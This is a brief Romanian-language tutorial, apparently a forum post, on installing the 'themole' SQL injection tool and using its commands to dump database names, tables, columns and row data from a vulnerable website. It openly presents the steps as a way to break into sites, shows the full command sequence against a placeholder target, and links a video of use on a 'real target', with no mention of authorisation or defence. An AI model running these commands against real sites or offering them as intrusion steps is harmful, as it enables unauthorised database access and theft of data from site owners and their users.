Vreau sa va arat un tool de sql injection mai simplist facut de un argentinian care foloseste putin diferit metoda obisnuita de SQLi. Toti pasii de care aveti nevoie pentru a instala scriptul si pentru a patrunde intr-un site vulnerabil sunt aici.


apt-get update
apt-get install themole

Dupa ce l-ati instalat, putem acum sa intram in program:

themole

Sa alegem tinta si sa injectam un parametru pe care il vedem pe site, deobicei butonul "Home".

url http://example.com/php?id=1
needle home
schemas

La acest punct am injectat si am cerut sa ne fie data information_schema'ul plus numele bazelor de date, dupa care vom incerca sa extragem numele tabelurilor, coloanelor si al randurilor.

tables nume_baza_de_date
columns nume_baza_de_date nume_coloana
query nume_baza_de_date nume_coloana nume_rand1,nume_rand2,etc.

Pentru a vedea exact cum este folosit tool'ul pe un target adevarat, puteti viziona urmatorul videoclip de youtube:

https://www.youtube.com/watch?v=9Rrrm0JsLVw